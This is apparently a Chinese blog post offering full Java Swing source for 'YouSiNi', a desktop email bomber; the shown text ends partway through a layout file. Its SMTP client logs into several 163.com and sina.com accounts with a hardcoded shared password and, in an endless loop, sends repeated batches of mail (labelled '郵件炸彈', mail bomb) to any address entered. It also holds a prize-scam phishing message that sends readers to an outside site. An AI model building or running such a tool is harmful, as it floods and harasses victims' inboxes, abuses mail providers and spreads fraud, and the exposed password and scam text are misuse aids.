java開發_java小程序_郵死你(yousini)_源碼下載


項目結構:

運行效果:

如果你感興趣,請不要那我的郵箱做測試!!!!

==========================================================

下面是代碼部分

==========================================================

/SendMail/src/com/b510/sendmail/main/SendMailMain.java

 1 package com.b510.sendmail.main;
 2 
 3 import com.b510.sendmail.ui.SendMailUI;
 4 
 5 /**
 6  * @author Hongten
 7  * 
 8  * @time 2012-4-4 2012
 9  */
10 public class SendMailMain {
11     public static void main(String[] args) {
12         SendMailUI sendMailUI = new SendMailUI("send E-Mail");
13     }
14 }

/SendMail/src/com/b510/sendmail/ui/MyTray.java

  1 package com.b510.sendmail.ui;
  2 
  3 import java.awt.AWTException;
  4 import java.awt.Image;
  5 import java.awt.MenuItem;
  6 import java.awt.PopupMenu;
  7 import java.awt.SystemTray;
  8 import java.awt.TrayIcon;
  9 import java.awt.event.ActionEvent;
 10 import java.awt.event.ActionListener;
 11 import java.awt.event.MouseEvent;
 12 import java.awt.event.MouseListener;
 13 
 14 import javax.swing.ImageIcon;
 15 import javax.swing.JFrame;
 16 
 17 public class MyTray implements ActionListener, MouseListener {
 18     private Image icon;// 圖標
 19     private TrayIcon trayIcon;
 20     private SystemTray systemTray;// 系統托盤
 21 
 22     private SendMailUI sendMailUI; // 托盤所屬主窗體
 23     private PopupMenu pop = new PopupMenu(); // 彈出菜單
 24     // 菜單選項
 25     /** 還原 */
 26     private MenuItem open = new MenuItem("Restore");
 27     /** 退出*/
 28     private MenuItem exit =new MenuItem("Exit");
 29     public MyTray(SendMailUI sendMailUI) {
 30         this.sendMailUI = sendMailUI;
 31         // 得到托盤的圖標
 32         icon = new ImageIcon(this.getClass().getClassLoader().getResource(
 33                 "resources/mytray.png")).getImage();
 34 
 35         if (SystemTray.isSupported()) {
 36             systemTray = SystemTray.getSystemTray();
 37             // 設置鼠標經過圖標時,顯示的內容
 38             trayIcon = new TrayIcon(icon, "YouSiNi", pop);
 39             pop.add(open);
 40             pop.add(exit);
 41             // 添加系統托盤
 42             try {
 43                 systemTray.add(trayIcon);
 44             } catch (AWTException e1) {
 45                 e1.printStackTrace();
 46                 trayIcon.addMouseListener(this);
 47             }
 48         }
 49         trayIcon.addMouseListener(this);
 50         exit.addActionListener(this);
 51         open.addActionListener(this);
 52     }
 53 
 54     @Override
 55     public void actionPerformed(ActionEvent e) {
 56         if(e.getSource()==exit){
 57             //退出系統
 58             System.exit(0);
 59         }else if (e.getSource() == open) {
 60             // 單點擊菜單中的"還原"選項時,還原窗口
 61             sendMailUI.iconed = false;
 62             friendListSet(true);
 63         } 
 64     }
 65 
 66     @Override
 67     public void mouseClicked(MouseEvent e) {
 68         // 但鼠標點擊一次的時候,進行彈出窗口
 69         if (e.getClickCount() == 1 && e.getButton() != MouseEvent.BUTTON3) {
 70             if (!sendMailUI.isVisible()) {
 71                 friendListSet(true);
 72             } else {
 73                 friendListSet(false);
 74             }
 75         }
 76         // 但鼠標點擊兩次的時候,進行彈出窗口
 77         // 如果窗口有顯示,則隱藏窗口,否則顯示窗口
 78         if (e.getClickCount() == 2 && e.getButton() != MouseEvent.BUTTON3) {
 79             if (!sendMailUI.isVisible()) {
 80                 friendListSet(true);
 81             } else {
 82                 friendListSet(false);
 83             }
 84         }
 85     }
 86 
 87     /**
 88      * 設置friendList的可見性
 89      */
 90     private void friendListSet(boolean flag) {
 91         sendMailUI.setVisible(true);
 92         sendMailUI.setExtendedState(JFrame.NORMAL);
 93     }
 94 
 95     @Override
 96     public void mouseEntered(MouseEvent arg0) {
 97         // TODO Auto-generated method stub
 98 
 99     }
100 
101     @Override
102     public void mouseExited(MouseEvent arg0) {
103         // TODO Auto-generated method stub
104 
105     }
106 
107     @Override
108     public void mousePressed(MouseEvent arg0) {
109         // TODO Auto-generated method stub
110 
111     }
112 
113     @Override
114     public void mouseReleased(MouseEvent arg0) {
115         // TODO Auto-generated method stub
116 
117     }
118 }

/SendMail/src/com/b510/sendmail/ui/SendMailUI.java

  1 package com.b510.sendmail.ui;
  2 
  3 import java.awt.Graphics;
  4 import java.awt.event.ActionEvent;
  5 import java.awt.event.ActionListener;
  6 import java.awt.event.WindowAdapter;
  7 import java.awt.event.WindowEvent;
  8 import java.io.BufferedReader;
  9 import java.io.BufferedWriter;
 10 import java.io.IOException;
 11 import java.io.InputStreamReader;
 12 import java.io.OutputStreamWriter;
 13 import java.net.Socket;
 14 import java.net.SocketException;
 15 import java.net.UnknownHostException;
 16 import java.util.StringTokenizer;
 17 import java.util.regex.Matcher;
 18 import java.util.regex.Pattern;
 19 
 20 import javax.swing.ImageIcon;
 21 import javax.swing.JFrame;
 22 import javax.swing.JOptionPane;
 23 import javax.swing.JPanel;
 24 
 25 import sun.misc.BASE64Encoder;
 26 
 27 import com.b510.sendmail.utils.AboutSendmail;
 28 import com.b510.sendmail.utils.MailMessage;
 29 
 30 /**
 31  * 
 32  * @author Hongten
 33  */
 34 public class SendMailUI extends JFrame implements ActionListener {
 35 
 36     private static javax.swing.JTextArea infoShow;
 37     private javax.swing.JScrollPane jScrollPane1;
 38     private javax.swing.JPanel mainPanel;
 39     private javax.swing.JMenuBar menuBar;
 40     private javax.swing.JButton send;
 41     private javax.swing.JProgressBar showTime;
 42     private javax.swing.JTextField targetmail;
 43     javax.swing.JMenu fileMenu;
 44     javax.swing.JMenuItem exitMenuItem;
 45     javax.swing.JMenu helpMenu;
 46     javax.swing.JMenuItem aboutMenuItem;
 47     private static boolean flag;
 48     private static int number = 266;
 49     private int i = 0;
 50     private AboutSendmail aboutSendmail;
 51     /**
 52      * 定義圖盤圖盤標志
 53      */
 54     public boolean iconed = false;
 55     /** 定義托盤 */
 56     MyTray myTray;
 57 
 58     /**
 59      * 版本號
 60      */
 61     private static final long serialVersionUID = -6601825053136983041L;
 62 
 63     public SendMailUI(String title) {
 64         this.setTitle(title);
 65         init();
 66     }
 67 
 68     /**
 69      * 主界面初始化
 70      */
 71     public void init() {
 72 
 73         mainPanel = new JPanel() {
 74             private static final long serialVersionUID = 1L;
 75 
 76             protected void paintComponent(Graphics g) {
 77                 ImageIcon icon = new ImageIcon("src/resources/mail_bg.png");
 78                 g.drawImage(icon.getImage(), 0, 0, 700, 430, null);
 79             }
 80         };
 81 
 82         targetmail = new javax.swing.JTextField();
 83         send = new javax.swing.JButton();
 84         jScrollPane1 = new javax.swing.JScrollPane();
 85         infoShow = new javax.swing.JTextArea();
 86         menuBar = new javax.swing.JMenuBar();
 87         fileMenu = new javax.swing.JMenu();
 88         exitMenuItem = new javax.swing.JMenuItem();
 89         helpMenu = new javax.swing.JMenu();
 90         aboutMenuItem = new javax.swing.JMenuItem();
 91         // 設置為0到180,即180s,3分鍾
 92         showTime = new javax.swing.JProgressBar(0, number);
 93         aboutSendmail = new AboutSendmail("關於軟件");
 94         aboutSendmail.setVisible(false);
 95 
 96         // 是否在進度條上顯示字符
 97         showTime.setStringPainted(true);
 98 
 99         mainPanel.setName("mainPanel"); // NOI18N
100 
101         targetmail.setName("targetmail"); // NOI18N
102         //targetmail.setText("hongtenzone@foxmail.com");
103 
104         send.setText("send"); // NOI18N
105         send.setName("send"); // NOI18N
106         send.setEnabled(false);
107         send.addActionListener(this);
108 
109         jScrollPane1.setName("jScrollPane1"); // NOI18N
110 
111         infoShow.setColumns(20);
112         infoShow.setRows(5);
113         infoShow.setName("infoShow"); // NOI18N
114         jScrollPane1.setViewportView(infoShow);
115         // 初始化布局
116         initComponent();
117 
118         menuBar.setName("menuBar"); // NOI18N
119 
120         fileMenu.setName("fileMenu"); // NOI18N
121         fileMenu.setText("file");
122 
123         exitMenuItem.setText("exit");
124         fileMenu.add(exitMenuItem);
125         exitMenuItem.addActionListener(this);
126 
127         menuBar.add(fileMenu);
128 
129         helpMenu.setText("help"); // NOI18N
130         helpMenu.setName("helpMenu"); // NOI18N
131 
132         aboutMenuItem.setText("about");
133         helpMenu.add(aboutMenuItem);
134         aboutMenuItem.addActionListener(this);
135 
136         menuBar.add(helpMenu);
137 
138         this.add(mainPanel);
139         setJMenuBar(menuBar);
140 
141         this.setVisible(true);
142         this.setSize(700, 485);
143         // 啟動進度條記時監聽器
144         timeCardListener();
145         // 啟動郵箱輸入框監聽器
146         myListener();
147         // this.pack();
148         this.setLocationRelativeTo(null);
149         this.setResizable(false);
150         // this.setLocation(470, 250);
151         // this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
152         // 當點擊"-"最小化按鈕時,系統會最小化到托盤
153         addWindowListener(new WindowAdapter() {
154             public void windowIconified(WindowEvent e) {
155                 iconed = true;
156                 setVisible(false);
157             }
158 
159             public void windowClosing(WindowEvent e) {
160                 // 當點擊"X"關閉窗口按鈕時,會詢問用戶是否要最小化到托盤
161                 // 是,表示最小化到托盤,否,表示退出
162                 int option = JOptionPane.showConfirmDialog(SendMailUI.this,
163                         "是否最小化到托盤?", "提示:", JOptionPane.YES_NO_OPTION);
164                 if (option == JOptionPane.YES_OPTION) {
165                     iconed = true;
166                     SendMailUI.this.setVisible(false);
167                 } else {
168                     System.exit(0);
169                 }
170             }
171         });
172         // 初始化自定義托盤
173         myTray = new MyTray(SendMailUI.this);
174 
175     }
176 
177     /**
178      * 布局文件,沒有必要去管他
179      */
180     private void initComponent() {
181         javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(
182                 mainPanel);
183         mainPanel.setLayout(mainPanelLayout);
184         mainPanelLayout
185                 .setHorizontalGroup(mainPanelLayout
186                         .createParallelGroup(
187                                 javax.swing.GroupLayout.Alignment.LEADING)
188                         .addGroup(
189                                 mainPanelLayout
190                                         .createSequentialGroup()
191                                         .addGap(52, 54, 54)
192                                         .addGroup(
193                                                 mainPanelLayout
194                                                         .createParallelGroup(
195                                                                 javax.swing.GroupLayout.Alignment.LEADING,
196                                                                 false)
197                                                         .addGroup(
198                                                                 mainPanelLayout
199                                                                         .createSequentialGroup()
200                                                                         .addComponent(
201                                                                                 targetmail,
202                                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
203                                                                                 170,
204                                                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
205                                                                         .addGap(
206                                                                                 34,
207                                                                                 34,
208                                                                                 37)
209                                                                         .addComponent(
210                                                                                 send))
211                                                         .addComponent(
212                                                                 jScrollPane1,
213                                                                 javax.swing.GroupLayout.Alignment.TRAILING,
214                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
215                                                                 620,
216                                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
217                                                         .addGroup(
218                                                                 mainPanelLayout
219                                                                         .createSequentialGroup()
220                                                                         .addGap(
221                                                                                 463,
222                                                                                 463,
223                                                                                 463)
224                                                                         .addComponent(
225                                                                                 showTime,
226                                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
227                                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
228                                                                                 Short.MAX_VALUE)))
229                                         .addContainerGap(30, Short.MAX_VALUE)));
230         mainPanelLayout
231                 .setVerticalGroup(mainPanelLayout
232                         .createParallelGroup(
233                                 javax.swing.GroupLayout.Alignment.LEADING)
234                         .addGroup(
235                                 mainPanelLayout
236                                         .createSequentialGroup()
237                                         .addContainerGap()
238                                         .addGroup(
239                                                 mainPanelLayout
240                                                         .createParallelGroup(
241                                                                 javax.swing.GroupLayout.Alignment.TRAILING)
242                                                         .addComponent(send)
243                                                         .addComponent(
244                                                                 targetmail,
245                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
246                                                                 30,
247                                                                 javax.swing.GroupLayout.PREFERRED_SIZE))
248                                         .addGap(30, 43, 43)
249                                         .addComponent(
250                                                 showTime,
251                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
252                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
253                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
254                                         .addPreferredGap(
255                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
256                                         .addComponent(
257                                                 jScrollPane1,
258                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
259                                                 313,
260                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
261                                         .addGap(15, 15, 15)));
262     }
263 
264     // 進度條記時
265     public void timeCard(final boolean flag) {
266         new Thread(new Runnable() {// 設置一個線程
267                     public void run() {
268                         if (flag) {
269                             while (i < number) {
270                                 try {
271                                     Thread.sleep((long) (1000 * 7.7));
272                                 } catch (Exception e) {
273                                     e.printStackTrace();
274                                 }
275                                 showTime.setValue(i++);
276                             }
277                         } else {
278                             i = 0;
279                             showTime.setValue(0);
280 
281                         }
282                     }
283                 }).start();
284     }
285 
286     // 進度條記時
287     public void timeCardListener() {
288         new Thread(new Runnable() {// 設置一個線程
289                     public void run() {
290                         while (true) {
291                             try {
292                                 Thread.sleep((long) (1000 * 7.7));
293                             } catch (Exception e) {
294                                 e.printStackTrace();
295                             }
296                             timeCard(flag);
297                         }
298                     }
299                 }).start();
300     }
301 
302     @Override
303     public void actionPerformed(ActionEvent e) {
304         if (e.getSource() == send) {
305             infoShow.append("請耐心等待...\n");
306             new SendMail().sendMailListener(targetmail.getText());
307         }
308         // 退出程序
309         if (e.getSource() == exitMenuItem) {
310             System.exit(0);
311         }
312         if (e.getSource() == aboutMenuItem) {
313             aboutSendmail.setVisible(true);
314         }
315     }
316 
317     /**
318      * STMP郵箱客戶端,用於郵件發送和接收的管理
319      * 
320      * @author Hongten
321      * 
322      * @time 2012-4-4 2012
323      */
324     static class SMTPClient {
325 
326         static final String server_mail = "smtp.163.com";
327         static final String server_mail_sina = "smtp.sina.com";
328         static final String subject_mail = "郵件炸彈";
329         static final String content_mail = "這是郵件炸彈";
330         //這里是郵箱密碼,如果大家在發郵件的,最好自己去注冊一下.....你懂的...sina的和163郵箱使用同一個密碼....^_^
331         static final String password_mail = "PANDER521521mail";
332         static int k = 1;
333 
334         static final String content = "尊敬的郵箱用戶:\n您好!您的賬號已被抽選為本次活動的二等獎用戶。您將獲得由本公司送出的驚喜獎金66000元以及贊助商三星公司送出的三星Q40筆記本電腦一台!\n請您收到信息后立即復制登陸活動網站: www.qqt139.com 領取,您的獲獎驗證碼為【6558】。請確記您的個人驗證碼。\n 注:為了確保您的幸運資格不被冒領,請及時查看郵件。否則此郵件自動轉入垃圾信箱等待查收!從收到郵件5日內有效.";
335         static final String content1 = "你好,當你收到這個郵件的時候,說明你...嘿嘿...你懂的";
336         private boolean debug = true;
337         BASE64Encoder encode = new BASE64Encoder();// 用於加密后發送用戶名和密碼
338 
339         /**
340          * 發送郵件
341          * 
342          * @throws UnknownHostException
343          *             未知異常
344          * @throws IOException
345          *             i/o異常
346          */
347         public static void sendMail(String targetMail)
348                 throws UnknownHostException, IOException {
349             for (int j = 1; j < 4; j++) {
350                 for (int i = 1; i < 10; i++) {
351                     MailMessage message = new MailMessage();
352                     message.setFrom("pandermail0" + i + "@163.com");// 發件人
353                     message.setTo(targetMail);// 收件人
354                     String server = server_mail;// 郵件服務器
355                     message.setSubject("有一封新的信息,請查收!");// 郵件主題
356                     message.setContent(content1);// 郵件內容
357                     message.setDatafrom("pandermail0" + i + "@163.com");// 發件人,在郵件的發件人欄目中顯示
358                     message.setDatato(targetMail);// 收件人,在郵件的收件人欄目中顯示
359                     message.setUser("pandermail0" + i);// 登陸郵箱的用戶名
360                     message.setPassword(password_mail);// 登陸郵箱的密碼
361 
362                     SMTPClient smtp = new SMTPClient(server, 25);
363 
364                     boolean flag;
365                     flag = smtp.sendMail(message, server);
366 
367                     if (flag) {
368                         SendMailUI.infoShow.append("這是第 " + i + " 封郵件,"
369                                 + "郵件發送成功!\n");
370                     } else {
371                         SendMailUI.infoShow.append("郵件發送失敗!\n");
372                     }
373                 }
374                 for (int i = 1; i < 11; i++) {
375                     MailMessage message = new MailMessage();
376                     // pandermail1@sina.com
377                     message.setFrom("pandermail" + i + "@sina.com");
378                     message.setTo(targetMail);// 收件人
379                     String server = server_mail_sina;// 郵件服務器
380                     message.setSubject("亞馬遜");// 郵件主題
381                     message.setContent(content1);// 郵件內容
382                     message.setDatafrom("pandermail" + i + "@sina.com");// 發件人,在郵件的發件人欄目中顯示
383                     message.setDatato(targetMail);// 收件人,在郵件的收件人欄目中顯示
384                     message.setUser("pandermail" + i);// 登陸郵箱的用戶名
385                     message.setPassword(password_mail);// 登陸郵箱的密碼
386 
387                     SMTPClient smtp = new SMTPClient(server, 25);
388 
389                     boolean flag;
390                     flag = smtp.sendMail(message, server);
391 
392                     if (flag) {
393                         SendMailUI.infoShow.append("這是第 " + (i + 9) + " 封郵件,"
394                                 + "郵件發送成功!\n");
395                     } else {
396                         SendMailUI.infoShow.append("郵件發送失敗!\n");
397                     }
398                 }
399             }
400             SendMailUI.infoShow
401                     .append("==========================================================\n");
402             SendMailUI.infoShow.append("===================== 這是第 [ " + (k++)
403                     + " ] 輪結束  =====================\n");
404         }
405 
406         private Socket socket;
407 
408         public SMTPClient(String server, int port) throws UnknownHostException,
409                 IOException {
410             try {
411                 socket = new Socket(server, 25);
412             } catch (SocketException e) {
413                 SendMailUI.infoShow.append(e.getMessage());
414             } catch (Exception e) {
415                 e.printStackTrace();
416             } finally {
417                 SendMailUI.infoShow.append("已經建立連接!\n");
418             }
419         }
420 
421         // 注冊到郵件服務器
422         public void helo(String server, BufferedReader in, BufferedWriter out)
423                 throws IOException {
424             int result;
425             result = getResult(in);
426 
427             // 連接上郵件服務后,服務器給出220應答
428             if (result != 220) {
429                 SendMailUI.infoShow.append("連接服務器失敗!\n");
430                 throw new IOException("連接服務器失敗");
431             }
432 
433             result = sendServer("HELO " + server, in, out);
434 
435             // HELO命令成功后返回250
436             if (result != 250) {
437                 SendMailUI.infoShow.append("注冊郵件服務器失敗!\n");
438                 throw new IOException("注冊郵件服務器失敗!");
439             }
440         }
441 
442         private int sendServer(String str, BufferedReader in, BufferedWriter out)
443                 throws IOException {
444             out.write(str);
445             out.newLine();
446             out.flush();
447 
448             if (debug) {
449                 SendMailUI.infoShow.append("已發送命令:" + str + "\n");
450             }
451 
452             return getResult(in);
453         }
454 
455         public int getResult(BufferedReader in) {
456             String line = "";
457 
458             try {
459                 line = in.readLine();
460                 if (debug) {
461                     SendMailUI.infoShow.append("服務器返回狀態:" + line + "\n");
462                 }
463             } catch (Exception e) {
464                 e.printStackTrace();
465             }
466 
467             // 從服務器返回消息中讀出狀態碼,將其轉換成整數返回
468             StringTokenizer st = new StringTokenizer(line, " ");
469 
470             return Integer.parseInt(st.nextToken());
471         }
472 
473         public void authLogin(MailMessage message, BufferedReader in,
474                 BufferedWriter out) throws IOException {
475             int result;
476             result = sendServer("AUTH LOGIN", in, out);
477 
478             if (result != 334) {
479                 SendMailUI.infoShow.append("用戶驗證失敗!\n");
480                 throw new IOException("用戶驗證失敗!");
481             }
482             result = sendServer(encode.encode(message.getUser().getBytes()),
483                     in, out);
484 
485             if (result != 334) {
486                 SendMailUI.infoShow.append("用戶名錯誤!\n");
487                 throw new IOException("用戶名錯誤!");
488             }
489             result = sendServer(
490                     encode.encode(message.getPassword().getBytes()), in, out);
491 
492             if (result != 235) {
493                 SendMailUI.infoShow.append("驗證失敗!\n");
494                 throw new IOException("驗證失敗!");
495             }
496         }
497 
498         // 開始發送消息,郵件源地址
499         public void mailfrom(String source, BufferedReader in,
500                 BufferedWriter out) throws IOException {
501             int result;
502             result = sendServer("MAIL FROM:<" + source + ">", in, out);
503 
504             if (result != 250) {
505                 SendMailUI.infoShow.append("指定源地址錯誤!\n");
506                 throw new IOException("指定源地址錯誤");
507             }
508         }
509 
510         // 設置郵件收件人
511         public void rcpt(String touchman, BufferedReader in, BufferedWriter out)
512                 throws IOException {
513             int result;
514             result = sendServer("RCPT TO:<" + touchman + ">", in, out);
515 
516             if (result != 250) {
517                 SendMailUI.infoShow.append("指定目的地址錯誤!\n");
518                 throw new IOException("指定目的地址錯誤!");
519             }
520         }
521 
522         // 郵件體
523         public void data(String from, String to, String subject,
524                 String content, BufferedReader in, BufferedWriter out)
525                 throws IOException {
526             int result;
527             result = sendServer("DATA", in, out);
528 
529             // 輸入date回車后,若收到354應答后,繼續輸入郵件內容
530             if (result != 354) {
531                 SendMailUI.infoShow.append("不能發送數據!\n");
532                 throw new IOException("不能發送數據!");
533             }
534 
535             out.write("From: " + from);
536             out.newLine();
537             out.write("To: " + to);
538             out.newLine();
539             out.write("Subject: " + subject);
540             out.newLine();
541             out.newLine();
542             out.write(content);
543             out.newLine();
544 
545             // 句點加回車結束郵件內容輸入
546             result = sendServer(".", in, out);
547             // System.out.println(result);
548 
549             if (result != 250) {
550                 SendMailUI.infoShow.append("發送數據錯誤!\n");
551                 throw new IOException("發送數據錯誤");
552             }
553         }
554 
555         // 退出
556         public void quit(BufferedReader in, BufferedWriter out)
557                 throws IOException {
558             int result;
559             result = sendServer("QUIT", in, out);
560 
561             if (result != 221) {
562                 SendMailUI.infoShow.append("未能正確退出!\n");
563                 throw new IOException("未能正確退出");
564             }
565         }
566 
567         // 發送郵件主程序
568         public boolean sendMail(MailMessage message, String server) {
569             try {
570                 BufferedReader in = new BufferedReader(new InputStreamReader(
571                         socket.getInputStream()));
572                 BufferedWriter out = new BufferedWriter(new OutputStreamWriter(
573                         socket.getOutputStream()));
574                 helo(server, in, out);// helo
575                 authLogin(message, in, out);// auth login
576                 mailfrom(message.getFrom(), in, out);// mail from
577                 rcpt(message.getTo(), in, out);// rcpt to
578                 data(message.getDatafrom(), message.getDatato(), message
579                         .getSubject(), message.getContent(), in, out);// DATA
580                 quit(in, out);// quit
581             } catch (Exception e) {
582                 e.printStackTrace();
583                 return false;
584             }
585             return true;
586         }
587     }
588 
589     class SendMail {
590         public void sendMailListener(final String targetmail) {
591             new Thread(new Runnable() {// 設置一個線程
592                         public void run() {
593                             while (true) {
594                                 SendMailUI.flag = true;
595                                 // 休息180s
596                                 try {
597                                     // 線程處於睡眠的時候,flag=true;
598                                     SendMailUI.flag = true;
599                                     Thread.sleep(180000);
600                                 } catch (Exception e) {
601                                     e.printStackTrace();
602                                 }
603                                 // 這里開始運行的時候,flag=false;
604                                 SendMailUI.flag = false;
605                                 try {
606                                     SMTPClient.sendMail(targetmail);
607                                 } catch (UnknownHostException e) {
608                                     e.printStackTrace();
609                                 } catch (IOException e) {
610                                     e.printStackTrace();
611                                 }
612                                 try {
613                                     // 等待timeCardListener監聽器監聽時間
614                                     Thread.sleep(25000);
615                                 } catch (Exception e) {
616                                 }
617                             }
618                         }
619 
620                     }).start();
621         }
622     }
623 
624     // 郵箱匹配,返回true,否則返回false
625     private boolean isRightMail(String mail) {
626         boolean flag_mail = false;
627         Pattern pattern;
628         Matcher matcher;
629         String mail_regex = "(?=^[\\w.@]{6,50}$)\\w+@\\w+(?:\\.[\\w]{2,3}){1,2}";
630         pattern = Pattern.compile(mail_regex);
631         matcher = pattern.matcher(mail);
632         while (matcher.find()) {
633             flag_mail = true;
634         }
635         return flag_mail;
636     }
637 
638     // 郵箱輸入框是否正確填寫
639     public void changedUpdate() {
640         String mail = targetmail.getText();
641         if (mail.equals("")) {
642             send.setEnabled(false);
643         } else if (mail.length() > 0 && isRightMail(mail)) {
644             // 輸入內容不為空,且是能夠匹配郵箱,那么設置send可用
645             send.setEnabled(true);
646         } else {
647             send.setEnabled(true);
648         }
649     }
650 
651     /**
652      * 郵箱是否填寫完整監聽器
653      */
654     public void myListener() {
655         new Thread(new Runnable() {// 設置一個線程
656                     public void run() {
657                         while (true) {
658                             try {
659                                 Thread.sleep(500);
660                             } catch (Exception e) {
661                                 e.printStackTrace();
662                             }
663                             changedUpdate();// 填寫郵箱
664                         }
665                     }
666                 }).start();
667     }
668 }

 

/SendMail/src/com/b510/sendmail/utils/AboutSendmail.java

  1 /*
  2  * To change this template, choose Tools | Templates
  3  * and open the template in the editor.
  4  */
  5 package com.b510.sendmail.utils;
  6 
  7 import java.awt.event.MouseAdapter;
  8 import java.awt.event.MouseEvent;
  9 import java.awt.event.WindowAdapter;
 10 import java.awt.event.WindowEvent;
 11 
 12 import javax.swing.ImageIcon;
 13 import javax.swing.JButton;
 14 import javax.swing.JFrame;
 15 
 16 /**
 17  * 
 18  * @author Hongten 菜單-幫助
 19  */
 20 public class AboutSendmail extends JFrame {
 21 
 22     /**
 23      * 版本號
 24      */
 25     private static final long serialVersionUID = 5248482602468160509L;
 26 
 27     public AboutSendmail(String title) {
 28         super(title);
 29         initComponents();
 30         addWindowListener(new WindowAdapter() {
 31             public void windowClosing(WindowEvent e) {
 32                 AboutSendmail.this.setVisible(false);
 33             }
 34         });
 35     }
 36 
 37     /**
 38      *關閉按鈕
 39      */
 40     private JButton closeButton = new JButton();
 41     /**
 42      * 應用程序名稱
 43      */
 44     javax.swing.JLabel appTitleLabel = new javax.swing.JLabel();
 45     /**
 46      * 版本號 前
 47      */
 48     javax.swing.JLabel versionLabel = new javax.swing.JLabel();
 49     /**
 50      * 版本號
 51      */
 52     javax.swing.JLabel appVersionLabel = new javax.swing.JLabel();
 53     /**
 54      * 主頁 前
 55      */
 56     javax.swing.JLabel homepageLabel = new javax.swing.JLabel();
 57     /**
 58      * Homepage
 59      */
 60     javax.swing.JLabel appHomepageLabel = new javax.swing.JLabel();
 61     /**
 62      * 說明
 63      */
 64     javax.swing.JLabel appDescLabel = new javax.swing.JLabel();
 65     /**
 66      * 圖片
 67      */
 68     javax.swing.JLabel imageLabel = new javax.swing.JLabel();
 69 
 70     private void initComponents() {
 71 
 72         this.setVisible(true);
 73         // 設置大小不能變
 74         setResizable(false);
 75         this.setLocation(530, 410);// 設置窗體的初始位置
 76 
 77         closeButton.addMouseListener(new MouseAdapter() {
 78             public void mouseEntered(java.awt.event.MouseEvent evt) {
 79                 closeButton.setIcon(new ImageIcon(""));
 80             }
 81 
 82             public void mouseExited(MouseEvent evt) {
 83                 closeButton.setIcon(new ImageIcon(""));
 84             }
 85         });
 86 
 87         appTitleLabel.setFont(appTitleLabel.getFont().deriveFont(
 88                 appTitleLabel.getFont().getStyle() | java.awt.Font.BOLD,
 89                 appTitleLabel.getFont().getSize() + 4));
 90         appTitleLabel.setText("應用程序名稱:"); // NOI18N
 91         appTitleLabel.setName("appTitleLabel"); // NOI18N
 92 
 93         versionLabel.setFont(versionLabel.getFont().deriveFont(
 94                 versionLabel.getFont().getStyle() | java.awt.Font.BOLD));
 95         versionLabel.setText("版本號:"); // NOI18N
 96         versionLabel.setName("versionLabel"); // NOI18N
 97 
 98         appVersionLabel.setText("1.0"); // NOI18N
 99         appVersionLabel.setName("appVersionLabel"); // NOI18N
100 
101         homepageLabel.setFont(homepageLabel.getFont().deriveFont(
102                 homepageLabel.getFont().getStyle() | java.awt.Font.BOLD));
103         homepageLabel.setText("主頁:"); // NOI18N
104         homepageLabel.setName("homepageLabel"); // NOI18N
105 
106         appHomepageLabel.setText("http://www.cnblogs.com/hongten"); // NOI18N
107         appHomepageLabel.setName("appHomepageLabel"); // NOI18N
108 
109         appDescLabel.setText("這是一個小應用程序,定時向目標郵箱發送郵件"); // NOI18N
110         appDescLabel.setName("appDescLabel"); // NOI18N
111 
112         imageLabel.setIcon(new ImageIcon("")); // NOI18N
113         imageLabel.setName("imageLabel"); // NOI18N
114 
115         closeButton.setIcon(new ImageIcon(""));
116         closeButton.setText("hongten");
117         javax.swing.GroupLayout layout = new javax.swing.GroupLayout(
118                 getContentPane());
119         getContentPane().setLayout(layout);
120         layout
121                 .setHorizontalGroup(layout
122                         .createParallelGroup(
123                                 javax.swing.GroupLayout.Alignment.LEADING)
124                         .addGroup(
125                                 layout
126                                         .createSequentialGroup()
127                                         .addComponent(imageLabel)
128                                         .addGap(18, 18, 18)
129                                         .addGroup(
130                                                 layout
131                                                         .createParallelGroup(
132                                                                 javax.swing.GroupLayout.Alignment.TRAILING)
133                                                         .addGroup(
134                                                                 javax.swing.GroupLayout.Alignment.LEADING,
135                                                                 layout
136                                                                         .createSequentialGroup()
137                                                                         .addGroup(
138                                                                                 layout
139                                                                                         .createParallelGroup(
140                                                                                                 javax.swing.GroupLayout.Alignment.LEADING)
141                                                                                         .addComponent(
142                                                                                                 versionLabel)
143                                                                                         .addComponent(
144                                                                                                 homepageLabel))
145                                                                         .addPreferredGap(
146                                                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
147                                                                         .addGroup(
148                                                                                 layout
149                                                                                         .createParallelGroup(
150                                                                                                 javax.swing.GroupLayout.Alignment.LEADING)
151                                                                                         .addComponent(
152                                                                                                 appVersionLabel)
153                                                                                         .addComponent(
154                                                                                                 appHomepageLabel)))
155                                                         .addComponent(
156                                                                 appTitleLabel,
157                                                                 javax.swing.GroupLayout.Alignment.LEADING)
158                                                         .addComponent(
159                                                                 appDescLabel,
160                                                                 javax.swing.GroupLayout.Alignment.LEADING,
161                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
162                                                                 266,
163                                                                 Short.MAX_VALUE)
164                                                         .addComponent(
165                                                                 closeButton))
166                                         .addContainerGap()));
167         layout
168                 .setVerticalGroup(layout
169                         .createParallelGroup(
170                                 javax.swing.GroupLayout.Alignment.LEADING)
171                         .addComponent(imageLabel,
172                                 javax.swing.GroupLayout.PREFERRED_SIZE,
173                                 javax.swing.GroupLayout.DEFAULT_SIZE,
174                                 Short.MAX_VALUE)
175                         .addGroup(
176                                 layout
177                                         .createSequentialGroup()
178                                         .addContainerGap()
179                                         .addComponent(appTitleLabel)
180                                         .addPreferredGap(
181                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
182                                         .addComponent(
183                                                 appDescLabel,
184                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
185                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
186                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
187                                         .addPreferredGap(
